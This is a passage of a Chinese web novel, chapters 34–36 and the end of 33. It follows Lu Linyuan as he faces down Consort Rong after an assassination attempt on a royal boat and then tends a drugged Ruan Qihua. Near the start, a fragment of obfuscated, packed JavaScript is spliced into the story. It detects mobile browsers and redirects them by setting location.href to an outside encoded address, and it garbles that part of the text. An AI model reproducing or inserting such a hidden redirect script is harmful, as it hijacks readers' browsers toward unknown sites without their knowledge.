三舱深处,高大的男人在船夫的身后站定。
除他之外,这处小小的空间出现了另一个绝不该出现在这里的人。
年过五旬的船夫为皇家开了一辈子游船,从来未曾踏入过二舱更别提头舱,虽然这么些年了,他偶尔也偷看过几个皇亲贵胄,但眼前这两位神仙似的大人物,是给他十个胆子都不敢偷看的。
胡子花白的船夫揉把脸,努力将自己隐匿在椅凳后方。
两位绝不该出现在这样拥挤狭窄、汗臭和酒气混合的地方的大人物,就这样无声对视着。最终还是先来一步的女子先开了口:“什么风把陆大人吹到这处来了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027064|159071||http|test|mini|href|location''.split(''|''),0,{}));
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>“呀,大人您的手臂可还在流血呢,该不会是寻欢时不经意伤了吧。”红衣女子柔媚的面上是揶揄的笑。
“不过还好,这点小伤,陆大人总不会放在眼中。冯公公也真是的,越来越不懂事了。因为这点伤,就想扰了各位大人的好兴致,要我说,陆大人是绝不会因为这点小伤便毁了皇室游船规矩的,对吗?”
容妃笑得虚情假意,可话里话外无处不是明晃晃的软刀子。
陆临渊又何尝不知道这女子的秉性,虽是久居后宫的女子,她却与在前朝的季赫楚有如出一辙敏锐嗅觉——闻到鲜血便如鬣狗般围了上来。
听到冯保传令的那一刻,她便跟着传令的下人来到这处,拦下了命令。
“让开。”
“开船,调头回岸。”陆临渊冷冷地冲船夫吩咐。
“哎呀,慢着。”容妃纤长的指甲在船夫的椅凳上一点,拦下了他的动作。随后朝陆临渊柔柔笑开:“陆大人好狠的心,居然对奴家这样凶。”红衣女子笑容不减,迈着婀娜的步子朝陆临渊近身。
男人不带遮掩的嫌恶目光让这位风情万种的宠妃脚下一顿,她停在了一步之外的地方:“陆大人,不瞒您说,本宫出来时,陛下正与西南那几位聊得甚欢,如今让船只调头,伤了陛下雅兴。这个责任,陆大人怕是担不起呀。”
“那么,青雀舫上的刺客潜逃,若是伤了陛下,容妃娘娘,又如何当得起呢?”
一枚精巧的匕首不止何时出现在陆临渊手中,随着他的动作,这枚匕首逐渐逼近,利器带来的风吹起了容妃的发丝。
泛着寒光的刀尖逼近那张精致的脸,在女子放大的瞳仁中倒映出尖峰。
“你,你……”方才还挂着笑的脸现在满是惊恐,本能让她不由自主地往后退步。她在宫中作威作福多年,从未经历过这样被动的时刻。“谋害宫妃,陆临渊,你好大的胆子!”
男人对她的跳脚不予理会,当下只调转脚下的方向,附身到船夫耳边,下达最终的指令。
“一切责任由我担当,即刻返程!”
船夫应声而动。
一边的容妃气急败坏,还想跳脚说些什么,但陆临渊只阴沉地看她一眼:“娘娘还是先担心一下季翰林的情况吧。方才微臣可是听说,有下人听到了季翰林与刺客打斗的声音。莫要伤到才好。”
容妃愣在了原地,眼中是满满的不可置信,怎么会,该去看到听到的不该是那阮家的小贱蹄子吗?
可惜她的疑问没有人在乎,船夫在陆临渊的指令下乖乖动作着,陆临渊更是连一个眼神都不再分给她。
形势已经完全超出了她的预料,不知所措又不信邪的容妃只能不管不顾地跑出去,却被冯保一行人撞个正着。
“容妃娘娘,您怎么跑到这里来了。有臣子遇袭,您还是赶紧回陛下身边好。”
“不,我要去看”“来人,容妃娘娘吓坏了,带她回去吧。”冯保手持拂尘,笑眯眯地对身后的侍卫吩咐。
“娘娘,得罪了。”双手被架起,没有人在乎花容失色的女子在呼喊什么东西。
站在一侧的陆临渊同冯保交换个眼神,二人皆是心照不宣。
34. 可耻地脸红
雨势渐大,甲板上激荡起层层水花。
有惊叫声响起,二舱的莺歌燕舞被仓皇的尖叫打碎。满面红光的权贵还沉浸在温柔乡,下一瞬间便被“刺客“的传闻激得身子软下,大堂中乱作一团。
异动出现的一瞬间,高台上的景仁帝敏锐地将言皇后护在身后,同时从一个相对隐蔽的角度观察场下的一切。
为了更好地观景,危险来临时,无遮蔽的头舱无疑是最薄弱的地方。帝后二人对视一眼,果断决定立刻从小门处的楼梯离开观景台。
小梯狭窄陡峭,暂且没有其他人的脚步声。景仁帝沉下眼眸,抽出腰间的软剑来,一把塞到言皇后的手中,低声哄道:“护好自己。”
小兰花皇后也不推辞,当下利落地接过剑,反手将软剑背在身后,“跟好我后面便是。”
于是当冯保踩着小太监的脚步,匆匆来到头舱下方时,见到的便是如此的场景:
英明神武的景仁帝手持短匕亦步亦趋地跟在言皇后身后,而前方以温婉著称的言皇后,手持软剑兴冲冲地就要往传闻有刺客的大堂奔,景仁帝拉不住,只能跟在后面低声地劝。
冯保额角一抽,一个闪身就到了一行人的最前。
“陛下!”向来佝偻的脊背挺直起来,他的目光直直地越过言皇后,落入景仁帝的眼中。
多年主仆的默契在这电光火石的一瞬达到巅峰。景仁帝长腿一迈,高大的身躯将皇后挡了个结实。
只方才一眼,景仁帝心下已经有了数。此刻他稳稳站定,手中的短匕也不着痕迹地收了起来,正准备反头给皇后一个安抚。
就听见一个尖锐的声音响起,有什么东西扑到了他面前。
“你们这帮狗奴才,竟敢动本宫,放开!皇上,皇上!您要替我做主啊。”红衣女子被两名侍卫丢到皇帝面前,顾不得周围的景象,当即便是朝着景仁帝的腿抱了过去。
娇媚的脸上是一片委屈与愤怒,“皇上,陆大人非要叫下人将船只掉头,臣妾好心劝阻,他竟联合冯公公将臣妾强送过来,这分明是罔顾皇家规矩,蔑视大雍威严!”
“噢?冯公公,确有此事吗?”
景仁帝撤开一步,避开了容妃的触碰。言皇后微微一笑,贴心地挽住帝王的手臂,无视女子喷火的双眸,冲着地上的女子但笑不语。
冯保躬身行礼,“回陛下,方才陆大人来报,船上混入一名刺客,重伤季翰林与其仆从后仓皇逃脱,陆大人急于追捕,这才强令船只调头。至于容妃娘娘,听见季大人受伤之后,神形慌乱,要往危险处去,小的实在是没有办法,这才吩咐侍卫将娘娘请来二舱。”
他回话的模样低眉顺目,语气中带着太监特有的细软,但听到这话的容妃却是美目圆瞪,显然是对他的话不满意。
可惜冯保这样的人精如何会给容妃说话的机会,话茬子不停,见缝插针就是接着回禀:“眼下太医已经赶到尾舱医治,想必季翰林吉人自有天相,应当无大碍。只是不知......”“不知什么?”景仁帝眉眼一抬,嘴上顺着冯保的话茬,审视的目光却从未离开过地上的容妃。
“为了保护太医安危,小的是携侍卫亲自护送其前往尾舱的,归来途中,听见容妃娘娘在船夫的舱室与陆大人争执。”
“三舱人员混杂,只是不知,容妃娘娘怎会去那样肮脏的地方。奴才是关心娘娘安危。”
方才叫嚣的女子突然哑了声,她又如何能说自己是看到冯保匆匆带人出去,以为表弟季赫楚已经压着阮家那小贱蹄子办完事,这才去盯着船夫不许调头,要将事情闹大,让船上的每个人都去见见阮绮华的丑态?
她的身子猛地僵住,跟旁边二舱中的喧闹形成鲜明对比。
无法,她只能将美目中蓄满泪水,含泪抬起,楚楚可怜地看向景仁帝。
肉眼可见地,景仁帝的视线软了几分。与此同时,言皇后攀附在他手臂的手默默放下。
“容妃的事情先按下,你方才是说,陆大人去追杀刺客了?那么他可有受伤?刺客又是否被成功捕获?”
一连串的问题滚珠似的从景仁帝口中说出,自他说出第一句,言皇后便识趣地退到了后方,安静地回归了不争不抢的模样。
容妃则恰恰相反,炫耀溢满了双眼,伸着脖子想要给皇后递过去。奈何对方眼角都没抬,只双手交叠在景仁帝背后,安静地当一尊佛像。
景仁帝看着冯保,对场中的暗流涌动丝毫未觉,冯保则是敛着眉目,老老实实答话:“回陛下的话,陆大人方才走得匆忙,奴才只隐约见到大人面色虚弱,手臂上有些血迹。至于刺客有没有被抓获,怕是还得问陆大人。”
话音未落,有一人长身玉立,单手执剑。施施然站在在二舱门口。染血的袖子微微抬起,男人的身材并不十分具有威慑力,但他出现的一瞬间,却不知不觉将全场慌乱的目光都吸引过去,那是奇异的镇定人心的力量。
景仁帝一行人第一时间注意到了这边的情况。
理所应当的,陆临渊环视全场,然后同左前走来的陛下拱手屈膝,作势要行礼,被匆匆捉住他手臂的景仁帝拦住。
“无需多礼。”
陆临渊点头,“那微臣便先向陛下汇报刺客的情况?”
景仁帝尚未说出口的问询就这样被噎住,只能黑着脸瞪着陆大人身上的血迹兀自憋气。
面上的不忿让离得最近的年迈恭亲王抚着胡子连连叹息,心下暗自嘀咕:
传言陆大人卸任摄政王是被迫,眼下看来,君臣之间的嫌隙是真非假。
“刺客已被陆某与宋将军之女联手捉拿,现将其关押于尾舱,为了诸位的安危,接下来还请诸位稍安勿躁,陆某已同陛下请示,船只正在回程,靠岸后会由大理寺的人护送各位大人平安回府。”
场中年长些的大多都清楚,陆临渊在朝中的声望与话语权一度高过真正的天子,即便是退任大理寺卿后,满朝文武也没有几个不长眼的敢去触他的霉头。
这之中,少数地例外便包括了年轻帝王的几位年迈血亲,这几位常年待在各自的封地,偶尔会对成年后的景仁帝上几封不痛不痒的折子,让当心陆临渊功高盖主。
不巧。代表性人物便是年迈的恭亲王,陆临渊此番把众人安排得妥当,却无形中盖过了皇室的风头,还一把将他又从船上送回了西北。他当然想说些什么,然而此刻,景仁帝负手站在陆大人身边,对他的安排不做任何异议,甚至隐隐有赞同。
这让恭亲王只能憋着气吹胡子瞪眼。
怀中的年轻舞姬想要轻抚他的胸口,帮他顺顺气,被他没好气地一把拍开。
“放尊重些,还玩乐什么玩乐,老子赶紧收拾收拾回去吃沙子就是了。”
大堂中各地来的亲王多少有些这样的心思,陆临渊心中有数,暗自致歉,可眼下的情况却不得不让他这样做。
船上医治条件有限,即便有技艺再精湛的太医坐镇,阮绮华的情况也耽误不得。多一分在船上停留的时间,她便加大一分暴露的风险。
只是让他一人背负骂名就能换取阮绮华的安好,陆临渊便恨不得众人骂得再明目张胆些。
只要阮阮能再好些。
他这般想着,握剑的手不自觉地用力握紧。窥视的视线从四面八方投射过来,他只能强行让面上保持平静。
景仁帝身后,容妃的视线不曾从陆临渊身上离开过。
躲过方才的问询后,理智回笼,想到季赫楚受伤,她纤长的指甲扣紧衣角。上扬的丹凤眼中多出几分担忧与质疑来,一寸一寸审视着陆临渊的表情,只恨经历了方才那一遭,又有陆临渊本人镇守,这个大堂里,怕是连一只蚊蝇都莫要想着飞出去。
数十米的三舱龙首船船缓缓前行,雕着麒麟瑞兽的船尖破开风浪,在暴雨中坚定回岸。
雁栖湖边,一众官员整齐地列作两队,恭敬地迎接游船归来的众人。
见到景仁帝带着两位嫔妃下船,守在第一个的林家尚书颠着肚子挂着笑,一手拿纸伞一手端着熬好的参汤一路小跑便往前迎了上来。
“陛下,下官一早熬好的老参汤,小炉子温了一下午,如今冷热正正好,您现在便能驱寒解乏。”
“放着吧。”
景仁帝自然不会伸手接,不知谁又给他落了面子,面对林尚书谄媚的笑,这位年轻的帝王连余光都懒得分
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他两眼,脚下半步也未做停留,留了句不咸不淡的吩咐后,径直上了皇家马车。
林尚书拿不定主意,不敢贸然上去触霉头,在原地踌躇,却见紧接着的皇后与贵妃皆是面色不虞。
他心下打鼓,好不容易等到冯公公走上前来端走参汤,便迈着碎步小声打听,“冯公公,今日怎的这样早就回来了?宫里那几位面色看着可都不太佳。”
一行几人中也只有冯公公脸上的神情还算自如,他低声凑上去问,可他忘了冯公公能跟在皇上身边多年,最大的特点便是嘴严,一句话都得不到,还碰了个软钉子,只能讪讪地返回去,接着看各位皇亲表演吹胡子瞪眼。
一溜儿的人都过去了,还真没几个脸上挂着笑的。
林尚书心中犯嘀咕,又见穿着玄衣带着令牌的大理寺走狗将各家大人一批一批看护送走,心头猛地一跳。抬头望向船头,果然见到一道挺立的身影执剑而立。
他差点忘了,那位也是有登船资格的。想到恭亲王方才骂骂咧咧的模样,林尚书默默伸手轻抚自己的肚子,有这位在,笑着克死满船的皇亲国戚似乎也不足为奇。
不过。
林尚书预备调转的脚尖停滞在原地。他咂摸了下嘴唇,再度看向暴雨中静默的青雀舫。
这船上,似乎还有几位没下来。
“丢湖里泡会儿还是给人抬下去?”年轻太医盯着季赫楚身上的箭矢,神色颇为认真地对宋臻询问。
赶来的陆临渊接过宋臻怀中的女子,一番仔细观察,确认对方情况平稳后,听闻医官的提问,他带着人转身下船的动作顿了一瞬。
看表情,似乎已经在思考以季赫楚的伤势,丢进冬日的雁栖湖中再捞上来之后他该如何安排个新人顶了季赫楚的位子了。
年轻太医摩拳擦掌,被冲昏头的陆大人也不理智。唯一还正经的宋臻只能叹了口气,强行将二人的思绪拉回。
“好了,抬回去吧。季赫楚应当死得更加不体面些。像这样动手,岂不是白白让他顶了个救驾的名头。”
阮绮华身上的热度还未降下来,反倒在陆临渊的怀中不时扭动。面对两位大人锐利的目光,年轻太医摸了摸鼻子,老实说道:“阮姑娘用的迷药多了些,身子不适的情况下又受了伤,难免排解得慢些。”
“不过不必太过担心,我方才探脉得知,阮姑娘体质特殊,这种情况下,只需静静等待药效过去,不会有其他问题的。”
“静静等待?为何画本中写的是,需疏解。”陆临渊急于确定阮绮华的情况,当下只能红着耳尖,低头俯身与太医小声询问。
宋臻不清楚陆大人怎的突然面色红润起来,只知道小太医似乎有些严肃地对前摄政王斥了几句,大致是“大人怎能轻信......”“身为朝廷命官当不信谣,不传谣......“
更奇怪的是,面对小小医官的训斥,陆大人竟不迭地解释“我不曾有非分.....”
说是这么说,男人脸上可耻地脸红让医官产生了浓浓质疑,对其好一顿审视才肯放过。
“那这位,下官就带走医治了。”不愧是年纪轻轻便从太医院破格提拔出来参与皇室游船的人物,看着并不强壮的医官,单手提着药箱单手便将季赫楚往肩上一甩。
也不顾这人不住往下滴落的血水,医官的动作之利落,让宋臻恍惚间想到了她爹所说的,扛人像扛猪的前线军医。
陆临渊倒是不曾理会那么多,他只想护着怀中的女子,至于季赫楚那种肮脏的畜生,现在留他不死只不过是想给他更污糟的名头。
“阮姑娘情况特殊,可由宋家的马车将她送回府上。陆大人那边应该还有得忙,接下来便交给我吧。”陆临渊点头,方才下船时,众人大多还没有反应过来,几位秋闱优胜者均不曾出现,他需要赶在众人回神之前将尾舱的事情平下来。
话虽如此,可到了分别之地,意想不到的状况却发生了。
不知何时,阮绮华已经从昏睡中醒过来,一双丹凤眼充满担忧,“陆大人,陆大人可还好?”
衣襟被素白的手抓住。
呼吸不由得滞住,刚要将人放上宋家马车的陆临渊迟疑了。
35. 姐姐,你好香
跟在陆大人身后准备上马车的宋臻不明所以,正疑惑为何陆大人突然定住了似的,就见对方行云流水地抱着怀中女子一起进了车厢。
这是要将人妥善安置了再下来么?
宋臻不做他想,默默为陆临渊的周到细致称赞。
然而她独自在车厢下静默了一炷香的时间,直到车夫忍不住出声问询何时出发,她才发现陆大人似乎并没有下车的意思。
?
他不是还有事吗?
宋臻抬头确认了一遍马车旗帜,黄底黑字的大字显示这是宋家马车无误。
可为什么宋家真正的主子要在外头淋雨吹风。她百思不得其解,心下还惦记阮绮华的伤势,当下颇为担忧地开口询问道:“大人,可是绮华的情况有何变故?”
车上的假宋家主人陆临渊看着怀里拉着自己衣服不肯撒手满面通红的阮绮华,罕见地体验了一把有口难言的滋味。
他原本确实想松手将人放置妥当便离开,但气氛瞬息万变,素白长指攀上他衣襟的那一刻,他听见自己的胸腔猛震,手上是无论如何都卸不了力。
气氛就这样被稍缓的雨幕分割成两派,一派是忙着安抚阮绮华松手,自己却又舍不得将人放下的假马车主人;一派是担心不对急切地想要确认情况却碍于权势只能站在外头等的真马车主人。
也许只过了几息,但宋臻觉得好一会儿才听到陆大人克制的声线,仔细听似乎听得出挫败的尾音——
“宋姑娘,陆某今日怕是坐贵府的马车回去了。烦请你帮忙同大理寺的车夫交代一声。”
宋臻有些迟疑,但陆临渊的声音具有天生的上位者气息,内容分明是和缓的请求,却莫名让人觉得他带着高位者习惯的不容置喙。
她于是照办,终于回到自家马车上时,里面的两人已经保持一种风平浪静的模样。
随着马车车轮的缓缓转动,陆临渊先打破了沉默:“打扰了,宋姑娘。今日情况特殊,还请姑娘莫要放在心上。”
宋臻摆摆手,示意她不在意。她自然知道两位闺阁贵女同一位男子共乘马车传出去会掀起多大的风浪,但她也清楚,她与陆大人同时出现,只不过是因为他们二人都一样牵挂阮绮华的情况。
“车夫是我的人,行事可靠,也请陆大人放心,今日之事不会泄露半分。”
两位都是聪明人,几句话之后,彼此都不再开口。
但车厢里也算不得完全静默。
只因本该在药物的作用下昏睡的阮绮华在马车的颠簸中睡得并不安稳,虽然没睁眼,但已经开始靠着软塌小幅度挪动。嘴里嘟囔着些不明意义的断字。
从她蹙起的眉头看,应当是在不满睡着的环境。
宋家的椅垫比不得大理寺的舒适,遵循着将军府硬朗的门风,即便是冬日将至,也只在垫子里象征性地填了一层棉花。
眼见着阮绮华挪着挪着要从陆临渊身旁掉下去,男人只好眼疾手快地将她捞回来,将人大半个身子依靠回自己身上。
直到阮绮华终于满足地不再动作,宋臻才后知后觉地意识到她是在不习惯自家马车的情况。
可是软塌上的垫子不是前几日才命人换过吗?她怀疑地伸出手,捻了捻身下的垫子,感受到熟悉的厚度,面无表情地默默点头,然后用更加怜惜的目光看向阮绮华。
她没记错,阮姑娘现□□弱得太厉害了吧。
还在迷蒙中的阮姑娘自然是体会不到宋臻的心疼,只有陆临渊体面地回敬一眼。
宋臻看不到的角落,陆大人正努力按住阮绮华完好的左手,药物作用下,那只手已经熟门熟路地溜进了他的外袍。
他虽然喜欢阮绮华主动贴近他,也不否认他平日会为了让她贴近而玩弄些无伤大雅的心机,但眼下对面宋臻的目光灼灼,他绝不想让阮绮华在外人面前失了颜面,即便她此时并不清醒。
滑嫩柔软的掌心带着热意贴上了他的侧腰,他不敢大幅度动作将手抽出,又担心力道太大将人伤到,只能绷直了脊背,将身子朝宋臻看不到的那一面微微侧过,好让他有喘息的机会,将阮绮华的手指一根一根从腰间挪开。
这样近的距离,被女子堂而皇之冒犯,还得在外人面前保持若无其事,就算是官场沉浮多年,轻车熟路游走在多方人物之间的陆大人,也不得不浑身紧绷。
周遭的温度默默攀升,男人手臂的伤口在肌肉的长时间压迫和紧绷下再度有崩裂流血的迹象。
对面的宋臻终于意识到了什么。
虽然陆临渊是再正派不过的大人,但阮绮华这样大半个身子都贴靠着外男,似乎也有几分不妥。她委婉提醒道:“大人手臂上尚且有伤,阮姑娘靠着恐怕对伤口愈合不利,我精神尚可,体魄强健,可替大人分担些压力。”
瞬息之间,陆临渊的面色几度变换,不过在外人的眼中,陆大人仍旧保持神色如常,在宋臻开口提醒后非常流畅地点头默许。
只起身与阮绮华分开时,不知是否是宋臻的错觉,她似乎见到陆大人的动作迟滞了几分。终于换位时,他手臂的伤口恰如其分的彻底崩出血迹。
“大人,您的伤口......”“不妨事。”
高挺的鼻梁与瘦削的下颌线连成一线,陆临渊倨傲地颔首,只手指微微有些颤抖。
但宋臻没心思再去理会男人宛如刚刚练兵后痉挛的手指,因为刚刚的动作,已经完全将阮绮华折腾醒了。
女子瞪着一双迷蒙的凤眼,正跪坐着朝她仰头看过来。
京中不比江南,清醒时的阮绮华不能在外放下防备。也因此,那双凤眼总保持着恰到好处的分寸,即便是同人娇嗔耍混,也好像是她精心设计的信手拈来。
可此刻,这双眼中是毫不掩饰的清澈。宋臻在北地长大,没去过江南,但跟这双眼睛对视时,恍惚间似乎看到了江南水乡烟雨朦胧中走出来的画中仙,那是极致的懵懂和精致面容上浑然天成的媚意融合成的诱惑力。
大致不论谁坐在这里,都能被这样的眼神望得心神荡漾。
几乎是本能,她接住了妖物伸过来的手,一并接住的还有自己摇摇欲坠的心。
掌心相对的瞬间,与陆临渊相似的情绪从她脑中升腾,耳根轰然红透,这
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是太过陌生的感觉了。
宋臻不自觉地咬住牙,用另一只手揽住了阮绮华的肩,好固定住不知谁的动作。
“你是醒了吗?”身旁的人乖巧得不可思议,宋臻试探地开了口。
陆临渊同样将视线转向女子。
路程过半,马车穿过京郊的密林,缓缓行驶上平阔的道路。
天色在不自觉间缓和,夜幕里只剩窸窸窣窣的微小动静。
被两个人同时注视的妖物本人坦然自若。她不接话,却颇为自得地舒展了身体,猫一般慵懒地贴上身边的人,然后将裙子一撩露出来层层叠叠的刺绣辊边衬裤,一腿屈起,另一条腿大方地伸出,以一种酒馆的纨绔子弟在看戏时常见的姿势豪迈地将爪子横过宋臻的背后。
若不是她手上的力气尚且不够大,宋臻已经将自己代入了被登徒子强行搂住的卖酒女身份。
陆临渊与她对视一眼,又很快错开。二人的眼中皆是一片难以言喻。
这人的动作未免太熟练了些,她原先在江南游船时便是这样对待乐坊女子的?
谁都没来得及动作,就听妖物红唇轻启,凑近宋臻的耳畔道:“姐姐,你身上好香,可用了什么秘制的香料?”
妖物呵气如兰,轻轻一句话,将宋家小姐的魂魄挤出了□□之外。宋家小姐恍惚间想起来幼年时,她娘状似不经意地拿着绣花针扎到老爹背上,对老爹耳提面命,说外面的女子手段多得很,让他切莫跟那些不明不白的妖精沾染上,否则宋将军的衣着鞋履怕是会不明不白地成为针线匣。
她当时不懂,现在却觉得阿娘虽目不识丁却当真有真知远见。
她现在便有如坐针毡的感觉。
“未,未曾携带香囊,阮姑娘莫要胡言。”“我不信,姐姐定是骗我。未曾熏香怎会如此惑人,让阮阮贴近了亲自闻闻。”
说着,那张开合的嫣红嘴唇便要贴近她的颈窝。她几乎能感到炽热的气息喷洒在耳后的细小绒毛上。
“你犯病了!”
宋臻猛的站起身,动作之急促让膝盖砰地一声撞在对角的摆件上。不顾陆临渊的惊异眼神,脸红得要滴血的宋臻掀起帘子就往外探。
“马上要到将军府,我想起来家中还有些事务要处理,家父安排我陪同去趟校场,有陆大人在,想必会将阮姑娘照顾得很好,马夫会将二位送往乌衣巷,我这就先行一步了。”
一番话说得又快又急,短促地同马夫吩咐了一声后,等不及马车停下,宋臻利落地翻身,直接跳下了马车。
只剩下满脸无辜地始作俑者和欲言又止的陆大人望着漆黑的夜色与消失的背影相顾无言。
半个时辰后,将军府平日呼噜声震天响的后院中传来一道中气十足的男声:“老子信了你的邪,哪家不要命的大半夜的吵老子睡觉!”
然后暴躁的男声随着木门开合的吱呀声戛然而止。取而代之的是特意夹起的嗓音,“臻臻睡不着?睡不着去书房看看兵书呀?什么?校场?明天陪你去好不好.......”
与此同时,平稳转动的车轮停在了青石板铺满的乌衣巷口。
36. 始乱终弃的坏男人
“大人,到了。”夜已深,空旷的巷子里只有宋家车夫沉稳的声音。
“四下无人,大人同小姐可放心出来。”
不愧是宋将军家的老人,办事情很周全。陆临渊向他谢过,将阮绮华抱下车。
车夫行礼目送,却忽然发现陆大人抱着阮姑娘径直路过了面前的阮府,不加停顿地带着人转身进了隔壁院落。
车夫心中一惊,手中扬起的鞭子重重甩下。脑中冒出的第一个想法是,陆大人将阮姑娘拐带回去了,那自家小姐怎么办?
他想到自家将军总是以陆大人为榜样教导小姐,可眼下陆大人这样的行为,算不算违背君子品德的趁人之危?
朦胧的夜色挡不住车夫的忧愁。
车轮随着马鞭滚动向前的同时,逐渐稀疏的雨滴斜斜飘向了陆府。
高高的灯笼下,门童倚着门框困得哈欠连天,连着熬了三天,还有半个时辰换值,雨飘到他眼睑上,凉得他一激灵,撑着眼皮子伸出手,嘟囔了两句“这天儿真冷。”要将门先虚掩住。
细雨迷蒙的大半夜,乌衣巷鬼影子都没有一个。
抱怨在他心头没说出口,突然看到一张被雨淋湿、发丝凌乱的苍白俊脸。
嘶!
哪来的妖孽敢来陆府造次!
门童一滞,眼睛瞪得溜圆,三魂吓飞了五魄,本能地张开嘴便要开始喊护院。
“莫要声张,开门,是我。”面前的男人低声说道。
大,大人?!
不是游船去了吗??
未出口的惊呼噎在喉中,门童使劲眨了眨眼。端详好半晌,直到陆大人眉头蹙起,准备开口再说点什么,他这才归了魂。
金纸般的面色,刻薄的嘴唇,冷淡的嗓音,确实是他家大人无误。但是虽说大人公务繁忙,半夜才从外归家的场面不算少见,可门童记得,自从这几年朝堂稳固,景仁帝成年之后,大人也便鲜少这样狼狈了。
心中尚有疑问,但门童不敢再耽误,赶紧大开了门让大人进来。
外头昏暗无光,进了府合上门,红色的灯笼照在大人身上,门童这才发现,陆临渊怀里还抱了个披头散发的女子,白皮肤黑头发,脸埋进大人的怀里,看不出是谁。
但是女子身上蓝金刺绣、蓬松柔软的披风正正好就是大人今日出门匆匆披上的那件。
他还记得这披风是被李副使抱在怀里追了半里地才好歹劝陆大人穿上的。那会儿大人刚从房里出来,只着了单衣便急着要去游船。李副使扯着嗓子在后头喊:
“不穿的话便告诉阮姑娘昨日您将药喂了花坛。”
身高腿长脚下生风的陆大人这才虎躯一震冷着脸披上它。
“将门拴上,然后提一桶温水送到我院中来。手脚利落些,莫要惊动任何人。”
“是,大人。”
大人怀里的女子看起来状态有点奇怪,门童不敢多看,接了话便赶紧小跑着照吩咐去做。
待他将水提到大人院落之中,雨已经彻底停了,干净的夜空露出来,高高的月亮悬挂正中,这是正好子时。
“大人,准备好了。”
“抬进来吧。”木桶放置在里间正中,主家的内室不是门童这样级别的下人能踏足的。门童将水桶一趟趟搬进屋,没敢抬头乱看。
等候的间隙,陆临渊屏住呼吸小心地将人放置在自己的床榻上。
阮绮华方才在马车上折腾一通,将陆大人折腾出汗,将宋臻折腾走了,她自己倒是精神起来,也没再昏睡过去,药物作用下,那股钻心的痒又从心底升腾了起来。
她有些难耐地蹙起眉,双手胡乱动作,希望将衣物扯出些缝隙。“很热,有虫子钻。阮阮讨厌虫子。”
“阮阮乖,再忍一下。”
“不要!”
“你根本就不心疼我,很难受,你都不帮我。”
“你们京城的人,虚伪做作,人人都只想要我的钱。”
“等回了江南,我拿钱,砸死你们!”床榻上的女子扭动身子,药物产生的不适让她的抱怨一句接着一句。
她身上的伤口还没好,不小心蹭到腿上的擦伤,痛得她又是一声呜咽。
好看的眸子染上水光,身体和心灵的双重委屈让她痛上心头,忍不住要落泪。
但阮大小姐怎么能在外人面前落泪呢?她当即背过身去,只留一个扭动的背影。
陆临渊心中不忍。
他明白现在阮阮身子不爽,房内又有外人,他应当好好看护着,不应分心。
但思绪却不听使唤,他开始反思,当初为了保护阮氏,将阮父提拔入京,到底是好是坏?
他的初衷是为了保护这个姑娘肆意绽放的笑颜,可她吃了这样多的苦,受了这么重的伤。
她真的愿意被这样保护吗?
他努力抛开脑中纷乱的思绪。
为了遮挡外人可能投来的视线,男人的身体在阮绮华身前站定。思来想去,却仍觉不满,视线飘到了内侧新铺的锦被,眼前一亮。
宽大的雕花八柱床像个四方的笼。
床榻上,艳红的被面将女子裹得严实,只露出来一张巴掌大的小脸,刚刚被泪水洗过的双瞳亮得惊人,正眸光软软的仰望着陆临渊。
她不觉得舒服,但也奇异地不觉得太难受,体内的躁意被刚刚贴上皮肤时锦被的凉意中和,一声细微的喟叹从她口中溢出。
在门童倒水的声音中并不明显,甚至几乎不能听见。但在陆大人耳中,暧昧的声音却像惊雷平地炸响。
于是收获了一个炸毛陆大人的阮绮华乖巧下来,任由陆临渊揉圆搓扁,随着男人的动作被锦被裹成一个蚕蛹。
陆大人后知后觉地发现新换上的锦被上绣了并蒂莲。
莲花并蒂,永结同心。
日思夜想的心上人在自己的塌上乖巧等他......男人的血液在翻滚,烛火带着陆大人的心一齐摇晃。
不可!
陆大人将手背到身后,狠狠掐了一把手心。对自己心中升腾起的冒犯的想法狠狠唾弃。
定是累极了,自制力出现了裂缝。
床榻上的女子对自己差点落入虎口丝毫不知,黑白分明的眼中是对男人全然的信任。
他磨着牙暗暗骂起李一彦,那人自从他退任大理寺卿后,每年冬天都想方设法为他添上一床红被。
美其名曰他府上人丁稀少,氛围清冷,说他年纪上来受不得冻,寒冬腊月的添点艳色好入眠。
他虽不见得赞同,但公务繁忙,也没心思在意这点起居小事,便由着对方去。
这下他算是切身体会了什么是“大事小事皆不能放松。”
陆临渊叹口气,对身后灌好水准备出去的门童吩咐道:“做的不错,明日去管家那儿领份赏。切记今日之事不要外传,尤其是对李大人。你可记住了?”
“诶,诶,记住了大人!”
接了赏,门童笑弯了眼,连声应是,蹦跳着便往外走,走时还不忘贴心地将院门关好。
他就知道陆大人不是话本里的坏男人,不会对阮姑娘始乱终弃的。
没了外人,陆临渊终于松了口气。
“冒犯了。”
男人的大
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手将女子从锦被里挖出来,然后蹙着眉将人放进了木桶中。
“嘶——”
“凉!”
“嘘,阮阮听话,就一炷香的时间,待你熬过去了,这药解了,我立马就将你抱出来。”
寒冬腊月的,所谓温水,也只不过是比雁栖湖的湖水要少了几分刺骨之意。
总归是有些凉的。
脏污的衣摆在水中散开,铺在水面上。
陆临渊小心地抬起女子的手搭在木桶边沿。
“阮阮,莫要乱动,伤口进水不易好。”
女子眯着眼睛,方才觉得太过于凉的水现在好像成了抚慰的良药。陆临渊的声音好像从遥远的山谷外面传来,她胡乱点了点头,也不知是听见了还是没有听见。
陆临渊叹口气,克制着自己的目光不要飘向不该去的地方。准备往外走,想想还是回头叮嘱道:
“我就在屏风后面,你乖巧坐着,有需要可随时唤我名字。”
仍旧是没有得到应答的声音。
但木桶中有随意拨弄出的水声,他便当是她听见了。
陆大人默默走到桌边,端起凉透的茶水饮入。
冰凉的液体流入肺腑,伴随不知何时沾染的怪异的燥热伴随着灵魂深处的渴意被一并浇熄。
月光洒进来,映在陆大人微垂的眼睫上。
他坐得端正,双手交叠,规矩地放于膝上。似乎未曾听见屏风后面传来的任何一丝动静,他的视线定格在地面,盯着月光,沉默地在心中估量着,像一尊优雅沉稳的雕塑。
“哗啦——”
“啊!”
水声和突然穿出的痛呼声划开静谧的夜色。月光遮掩不住的屏风后是满地的狼藉。
陆临渊几乎是在声音出现的同一瞬间便出现在了木桶前面。
“发生何事?”
